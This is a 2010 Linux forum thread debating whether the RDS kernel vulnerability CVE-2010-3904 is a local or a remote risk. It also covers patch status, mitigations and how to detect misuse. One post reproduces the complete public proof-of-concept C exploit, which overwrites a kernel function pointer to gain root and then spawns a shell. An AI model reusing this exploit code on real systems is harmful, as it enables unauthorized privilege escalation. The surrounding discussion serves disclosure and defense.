RDS security hole

[GreyGeek]

A kernel security hole is being sensationalized yet again, on this:
http://www.h-online.com/open/news/it...s-1122180.html
and many other sites. It seems that Linux security holes are big news. That can only be because they are so UNCOMMON. But, there is a fly in the ointment ...

Attackers can exploit the hole to get complete control remotely once they have broken into the system.

Notice the key phrase: "once they have broken into the system"

Rainer Weikusat remarks:

The message doesn't contain the exploit code but the memory address of the exploit code. The recvmsg-call caused that to be written into the 'ioctl' slot of the 'method table' associated with the socket and a subsequent ioctl-call using this socket then causes the kernel to execute the exploit code.

This, of course, means that, in order to exploit this 'remotely' ... the attacker must be able to write the exploit code into memory on the target machine, transfer the address of the exploit code to the 'attacking' machine, send it back to the target in order to overwrite the function pointer in the kernel and then, execute the ioctl call triggering the actual exploit on the target machine.

That bold print means that the remote attacker needs yet another remote exploit to use the RDS exploit. This effectively reduces the problem to one of a local exploit and the need to trust your users and keep your machines physically secure. Another tempest in a teapot.

The fix has already been added to the kernel. If you think your Linux server is vulnerable then you can use this method as a temporary fix:

echo "alias net-pf-21 off" > /etc/modprobe.d/disable-rds (as root)

[zlow]

Re: RDS security hole

I won't normally quote SJVN because of his status as village idiot, however.

I don't know if it will do that, but I was able to use the exploit code to knock out a SUSE Linux server in my lab remotely. Let me repeat myself: Not good.

Source: http://blogs.computerworld.com/17209..._security_hole

Your comment just proves that neither you, nor your friend Reiner actually understand the issue; not surprised though based upon your previous analysis of these sorts of issues. :P

Looking at the source for the exploit downloaded from your linked article:

	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s < 0) {
		printf("[*] Could not open socket.\n");
		exit(-1);
	}
	
	memset(&addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

Note that it is creating a socket. The example exploit runs locally, however the target does not have to be local. The fact that it opens a socket makes it a remote exploit.

A kernel security hole is being sensationalized yet again, on this:
http://www.h-online.com/open/news/it...s-1122180.html
and many other sites. It seems that Linux security holes are big news. That can only be because they are so UNCOMMON. But, there is a fly in the ointment ...

If it was so uncommon, why is it that these issues have been all over the news for the last six months? I expect lots of typical excuses in your response. Make sure you talk about botnets and Microsoft so I am not disappointed.

The original advisory is here - http://www.vsecurity.com/resources/advisory/20101019-1/

Disabling RDS is an effective workaround provided that it doesn't break any applications. If you aren't connected to a router with a firewall, turn your local firewall on.

[GreyGeek]

Re: RDS security hole

Well Hi, zlow, you haven't posted for 21 days. Go on vacation?

You're not surprised based on MY

previous analysis

That's laughable, and everyone whose read about your claims of Linux vulnerability based on the PAM_MOTD exploit know it.

RDS provides a high bandwidth, low latency, reliable inter-process communication protocol and transport system between the servers in a cluster. It provides a reliable connection between any two nodes in the cluster. This allows applications to use a single socket to talk to any other process in the cluster - so in a cluster with N processes you need N sockets, in contrast to N*N if you use a connection-oriented socket transport like TCP. In beta testing, RDS over infiniBand provided up to 60 percent performance improvement over Gigabit Ethernet for interconnect-intensive applications. RDS is already used by some products like Oracle and in Silverstorm's Quicksilver.

The RDS module is for communication between processes on servers in a Linux cluster, and a cluster, for those who are not aware, can contain thousands of usually headless servers. The vast majority of visitors to this forum are NOT system admins running the KDE4 desktop on Linux servers or clusters. That means that they haven't added rds, rds_tcp and rds_rdma to their list of running modules. They can check their box by issuing "lsmod | grep rds". More than likely nothing will show. The rds exploit can't touch them because they haven't loaded the module and Kubuntu doesn't load it by default.

There is another command they can run: sudo netstat -lp | grep socket
That will list all the sockets opened by programs running on their system. I currently see 10 on my system. Opening a socket, or the existence of one, on your system, does not equate to a remote exploit, as you claim. And, while the "target" may be remote, it also has to be vulnerable.

You gave a piece of the code. It was from the "int prep_sock(int port)" function, which creates a socket.

Putting up a piece of code and then doing a hand-wave isn't going to cut it. Let's look at the WHOLE source.

/* 
 * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
 * CVE-2010-3904
 * by Dan Rosenberg <drosenberg@vsecurity.com>
 *
 * Copyright 2010 Virtual Security Research, LLC
 *
 * The handling functions for sending and receiving RDS messages
 * use unchecked __copy_*_user_inatomic functions without any
 * access checks on user-provided pointers. As a result, by
 * passing a kernel address as an iovec base address in recvmsg-style
 * calls, [color=red][size=4]a local user [/size][/color] can overwrite arbitrary kernel memory, which
 * can easily be used to escalate privileges to root. Alternatively,
 * an arbitrary kernel read can be performed via sendmsg calls.
 *
 * This exploit is simple - it [b]resolves a few kernel symbols[/b],
 * and overwrites a function pointer (rds_ioctl) to point
 * to the payload. After triggering the payload, the original
 * value is restored. Hard-coding the offset of this function
 * pointer is a bit inelegant, but I wanted to keep it simple and
 * architecture-independent (i.e. no inline assembly).
 *
 * The vulnerability is yet another example of why you shouldn't
 * allow loading of random packet families unless you actually
 * need them.
 *
 * Greets to spender, kees, taviso, hawkes, team lollerskaters,
 * joberheide, bla, sts, and VSR
 *
 */


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/utsname.h>

#define RECVPORT 5555 
#define SENDPORT 6666

int prep_sock(int port)
{

The code above proceeded the code you quoted. The comments section clearly indicates "a local user". i.e., it is a local exploit. You admit that but then claim more ... the hand wave....

	
	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s < 0) {
		printf("[*] Could not open socket.\n");
		exit(-1);
	}
	
	memset(&addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr("[color=red]127.0.0.1[/color]");
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

Readers can man "socket", where they can learn about AF_INET (IPV4). Socket calls getaddrinfo (see man) and the third parameter being zero means it will work with any type socket type, which is explained in the socket man. For attacking a remote server in a cluster one would replace 127.0.0.1 with a valid IP address. But, as I explain below, that is no guarantee of success.

	ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));

	if(ret < 0) {
		printf("[*] Could not bind socket.\n");
		exit(-1);
	}

	return s;

}

void get_message(unsigned long address, int sock)
{

	recvfrom(sock, (void *)address, sizeof(void *), 0,
		 NULL, NULL);

}

void send_message(unsigned long value, int sock)
{
	
	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;
	
	memset(&recvaddr, 0, sizeof(recvaddr));

	size = sizeof(recvaddr);

	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	memset(&msg, 0, sizeof(msg));
	
	msg.msg_name = &recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;
	
	buf = value;

	iov.iov_len = sizeof(buf);
	iov.iov_base = &buf;

	msg.msg_iov = &iov;

	ret = sendmsg(sock, &msg, 0);
	if(ret < 0) {
		printf("[*] Something went wrong sending.\n");
		exit(-1);
	}
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

	if(!fork()) {
			sleep(1);
			send_message(value, sendsock);
			exit(1);
	}
	else {
		get_message(addr, recvsock);
		wait(NULL);
	}

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
[color=red]getroot[/color](void * file, void * vma)
{

	commit_creds(prepare_kernel_cred(0));
	return -1;	

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	  [b]dedicated to the pointlessness of Russell Coker's SELinux
	  test machine (why does he keep upgrading the kernel if
	  "all necessary security can be provided by SE Linux"?[/b])
	*/

A side note: I don't know Coker but if I were running an SELinux test machine I would upgrade the kernel anyway simply because kernel upgrades involve more than just security updates.

	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

The kernel symbol table wasn't found so the LOCAL exploit is trying the /boot/System.map....

Note that if this were NOT a local exploit the assigned IP address would be something other than the local loopback (127.0.0.1) or local addresses (192.* or 10.*) on the subnet. By necessity, bind would have to negotiate the three-way handshake to bind the socket to the remote IP address. For it to do that the port on the remote target would have to be open and willing to handshake. IF the port is closed no handshake will take place. Ergo, after the handshake is completed with the open port on the remote "target" machine ANOTHER EXPLOIT will be necessary to compromise the open port. Bind is not an exploit. Neither is getaddrinfo.

int main(int argc, char * argv[])
{
	unsigned long sock_ops, rds_ioctl, target;
	int sendsock, recvsock;
	struct utsname ver;

	printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
	printf("[*] by Dan Rosenberg\n");

	uname(&ver);

	if(strncmp(ver.release, "2.6.3", 5)) {
		printf("[*] Your kernel is not vulnerable.\n");
		return -1;
	}	
	
	sendsock = prep_sock(SENDPORT);
	recvsock = prep_sock(RECVPORT);

	/* Resolve addresses of relevant symbols */
	printf("[*] Resolving kernel addresses...\n");
	sock_ops = get_kernel_sym("rds_proto_ops");
	rds_ioctl = get_kernel_sym("rds_ioctl");
	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

	if(!sock_ops || !rds_ioctl || !commit_creds || !prepare_kernel_cred) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	/* Calculate target */
	target = sock_ops + 9 * sizeof(void *);

	/* Overwrite rds_ioctl function pointer */
	printf("[*] Overwriting function pointer...\n");
	write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);

	/* Trigger the payload */
	printf("[*] Triggering payload...\n");
	ioctl(sendsock, 0, NULL);

	/* Restore the rds_ioctl function pointer */
	printf("[*] Restoring function pointer...\n");
	write_to_mem(target, rds_ioctl, sendsock, recvsock);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Got root!\n");
	execl("/bin/sh", "sh", NULL);

}

While the local exploit seems easy, apparently it is not for some people, even running the code as root!
http://www.linux-archive.org/debian-...y-machine.html

$ ./a.out[*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa1009000
[+] Resolved commit_creds to 0xffffffff81069235
[+] Resolved prepare_kernel_cred to 0xffffffff81069138[*] Failed to resolve kernel symbols.

$ sudo ~me/a.out
[sudo] password for me:[*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa1009000
[+] Resolved commit_creds to 0xffffffff81069235
[+] Resolved prepare_kernel_cred to 0xffffffff81069138[*] Failed to resolve kernel symbols.

But, here is a video of someone showing it done, locally, on an Ubuntu 10.10 box as "guest".



Dan Rosenberg, who wrote the code above, informed the Linux dev crew over a week ago, and Linux Torvolds committed the patch on Oct 15,2010, a full week ago.

People with old hardware are not likely to care about RDS anyway, and
the optimization for the 32-bit case is simply buggy, since it doesn't
verify the user addresses properly.

The hole has already been patched for Ubuntu & Kubunut https://bugs.launchpad.net/bugs/cve/2010-3904

Reading the comments to the announcement of the hole on this web site is very informative.

In summary it is a local exploit which could only be available if you have installed the RDS mods, which Kubuntu does NOT by default, and if you are running a server about the only way a remote exploit could work is if you were running a web browser on it. How many admins do you know who use their servers as desktops and run web browsers?

[zlow]

Re: RDS security hole

Well Hi, zlow, you haven't posted for 21 days. Go on vacation?

I have been busy, sorry for my absence here.

That's laughable, and everyone whose read about your claims of Linux vulnerability based on the PAM_MOTD exploit know it.

Only those who chose to misrepresent my statements or were too clueless to understand their real meaning.

RDS provides a high bandwidth, low latency, reliable inter-process communication protocol and transport system between the servers in a cluster. It provides a reliable connection between any two nodes in the cluster. This allows applications to use a single socket to talk to any other process in the cluster - so in a cluster with N processes you need N sockets, in contrast to N*N if you use a connection-oriented socket transport like TCP. In beta testing, RDS over infiniBand provided up to 60 percent performance improvement over Gigabit Ethernet for interconnect-intensive applications. RDS is already used by some products like Oracle and in Silverstorm's Quicksilver.

The RDS module is for communication between processes on servers in a Linux cluster, and a cluster, for those who are not aware, can contain thousands of usually headless servers. The vast majority of visitors to this forum are NOT system admins running the KDE4 desktop on Linux servers or clusters. That means that they haven't added rds, rds_tcp and rds_rdma to their list of running modules. They can check their box by issuing "lsmod | grep rds". More than likely nothing will show. The rds exploit can't touch them because they haven't loaded the module and Kubuntu doesn't load it by default.

Correction, the RDS module is used for inter server communication by processes and exists as its own protocol. Your definition implies intra server communication which is inaccurate. I agree that most visitors to this forum are not server admins, however these modules are loaded on demand by the module autoloader when used if enabled in the kernel. This is the default on Ubuntu and could be inherited by kubuntu.

RDS provides reliable, ordered datagram delivery by using a single
reliable connection between any two nodes in the cluster. This allows
applications to use a single socket to talk to any other process in the
cluster - so in a cluster with N processes you need N sockets, in contrast
to N*N if you use a connection-oriented socket transport like TCP.

Source: http://lwn.net/Articles/325932/

To properly check to see if a user is at risk, and if they have not yet applied the kernel update supplying the patch, they should verify that the CONFIG_RDS kernel parameter is set to "n". This configuration file can be found in /boot. Simply looking at the module listing is insufficient thanks to the module autoloader mentioned.

You can disable the module from autoloading with this code:

echo "alias net-pf-21 off" > /etc/modprobe.d/disable-rds

Run it as root.

There is another command they can run: sudo netstat -lp | grep socket
That will list all the sockets opened by programs running on their system. I currently see 10 on my system. Opening a socket, or the existence of one, on your system, does not equate to a remote exploit, as you claim. And, while the "target" may be remote, it also has to be vulnerable.

First, 'netstat -lp' will not tell them if they are or are not vulnerable, this simply lists currently open ports.

You misunderstand what I said (surprise!) I did not state that simply opening a socket equates to a remote exploit or I would be implying that all software that opens ports creates vulnerabilities which I did not imply at all. You have grossly misunderstood or intentionally misrepresented my statement. That is for the readers to decide. The fact that the sample exploit opens a socket (in the example to the local system) means that there is a possibility of the exploit being altered to function remotely. This risk makes it a remote vulnerability even if the published exploit is local.

You gave a piece of the code. It was from the "int prep_sock(int port)" function, which creates a socket.

Putting up a piece of code and then doing a hand-wave isn't going to cut it. Let's look at the WHOLE

I did no such thing, I simply pointed out the fact that it opens a socket, there is no hand waving. It either opens a socket, or it does not open a socket.

Readers can man "socket", where they can learn about AF_INET (IPV4). Socket calls getaddrinfo (see man) and the third parameter being zero means it will work with any type socket type, which is explained in the socket man. For attacking a remote server in a cluster one would replace 127.0.0.1 with a valid IP address. But, as I explain below, that is no guarantee of success.

I didn't imply that it did guarantee success, your inability to reason with me put the imaginary implication in your head. I only implied that it was a possibility.

A side note: I don't know Coker but if I were running an SELinux test machine I would upgrade the kernel anyway simply because kernel upgrades involve more than just security updates.

SELinux does not remove all risk of vulnerability, it simply makes exploiting vulnerabilities more difficult. The kernel should always be upgraded whenever possible, and necessary.

	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

The kernel symbol table wasn't found so the LOCAL exploit is trying the /boot/System.map....

Only for academic purposes, it is not really necessary to check that the system has kernel 2.6.30 or higher before attempting to execute.

Note that if this were NOT a local exploit the assigned IP address would be something other than the local loopback (127.0.0.1) or local addresses (192.* or 10.*) on the subnet. By necessity, bind would have to negotiate the three-way handshake to bind the socket to the remote IP address. For it to do that the port on the remote target would have to be open and willing to handshake. IF the port is closed no handshake will take place. Ergo, after the handshake is completed with the open port on the remote "target" machine ANOTHER EXPLOIT will be necessary to compromise the open port. Bind is not an exploit. Neither is getaddrinfo.

Remember, this exploit is simply an academic exorcise and not an actual worm. The exploit is local as written, but that doesn't mean that the vulnerability is local, as there is a distinct difference. What do you mean "bind" would have to do a three way handshake? By bind do you mean the C function that creates the socket connection as part of sys/socket.h? Its use functions the same with the loopback adapter (defined as 127.0.0.1) as it would a remote address, the negotiation is the same. The only difference occurs at the transport layer of the OSI model which is handled by a different kernel module all-together.

While the local exploit seems easy, apparently it is not for some people, even running the code as root!
http://www.linux-archive.org/debian-...y-machine.html

If the configuration option is not enabled in the kernel it is a non-issue. This is discussed in the vulnerability disclosure. The author of the comment you linked probably did not read and verify that he or she was vulnerable before testing. This is common on the internet.

Dan Rosenberg, who wrote the code above, informed the Linux dev crew over a week ago, and Linux Torvolds committed the patch on Oct 15,2010, a full week ago.

People with old hardware are not likely to care about RDS anyway, and
the optimization for the 32-bit case is simply buggy, since it doesn't
verify the user addresses properly.

Linus Torvalds and team have released a patch, yes. This was also disclosed in the vulnerability notice that I linked had you read it.

The hole has already been patched for Ubuntu & Kubunut https://bugs.launchpad.net/bugs/cve/2010-3904

Yes, indeed it has.

In summary it is a local exploit which could only be available if you have installed the RDS mods, which Kubuntu does NOT by default, and if you are running a server about the only way a remote exploit could work is if you were running a web browser on it. How many admins do you know who use their servers as desktops and run web browsers?

Summary: Systems could be vulnerable to the published local exploit if the configuration option I mentioned is set to "m" or "y", and the RDS modules are enabled to autoload (default on many distributions). There are different methods to mitigate the vulnerability, the simplest of which is to create '/etc/modprobe.d/disable-rdsnone'.

[GreyGeek]

Re: RDS security hole

I forgot to mention that while this RDS exploit made news on Oct 21st, it was patched by Linus on Oct 15th. The Ubuntu announcement was made here, which was dated

Ubuntu Security Notice USN-1000-1 October 19, 2010

for the CVE-2010-3904 RDS hole.

However, just like the PAM exploit, the fixed kernel was automatically installed before anyone knew about the vulnerability. On Oct 16th, for those who keep security updates on automatic notification or install, the upgraded (fixed) kernel on my system shows this:

-rw-r--r-- 1 root root 4050592 2010-10-16 15:37 vmlinuz-2.6.32-25-generic

which ONE DAY after Linus pushed the patch. vmlinuz-2.6.32-25-generic = 2.6.32-25-45)

Dan Rosenberg, the person who discovered the hole, probably knew about it and experimented with it for a couple weeks before he created a patch which Linus accepted. So, somewhere around Oct 1st was when the hole was discovered. Like the PAM exploit, the chances are very unlikely that anyone prior to Rosenberg had found and/or used the RDS exploit. None of the hacker websites mentioned the hole prior to its announcement, and no compromises taking advantage of the hole had been reported.

[almbsot]

Re: RDS security hole

hi every body

i have Q
if i am the root and someone of the user in my pc do that exploit how can i detect that exploit ?
i am not professional in Linux i want to if someone do that
i know i can prevent that exploit but i do not want to prevent the exploit i want to if some one run that exploit in my pc

[GreyGeek]

Re: RDS security hole

Are you running Linux within the Q Emulator on a Mac?

[almbsot]

Re: RDS security hole

no
i have try the exploit in linux and it is work
Linux almbsot-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux

[GreyGeek]

Re: RDS security hole

http://seclists.org/fulldisclosure/2010/Oct/257

It is a good idea to prevent users from creating files on file systems mounted
without nosuid. The following interesting solution for administrators who
cannot modify their partitioning scheme was suggested to me by Rob Holland
(@robholland):

You can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,
for example:

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

Be aware of race conditions at boot via crond/atd/etc, and users with
references to existing directories (man lsof), but this may be an acceptable
workaround until a patch is ready for deployment.

(Of course you need to do this everywhere untrusted users can make links to
suid/sgid binaries. find(1) is your friend).
...
Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.

[almbsot]

Re: RDS security hole

Tanks GreyGeek

I have my own laptop with different user and i do not want to patch this exploit i am searching in this exploit.

I want to know exactly if some one get unauthorised access to root how can i know

i have tray that command
$cd /var/log
$tail -n 30 daemon.log
$ls -lt *log
it tell someone access to root but i dose not tell which exactly user

so could you pleas help me to find exactly a command that give me a good monitoring

[GreyGeek]

Re: RDS security hole

Logging directly into root, or by remote connections, is not allowed by default, if you haven't changed the default configuration.

Su-ing to root is not allowed for other users by default, if you haven't given the other users suid permission.


http://fog.ccsf.cc.ca.us/~gboyd/cs26...king_root.html

Or, you can try iWatch.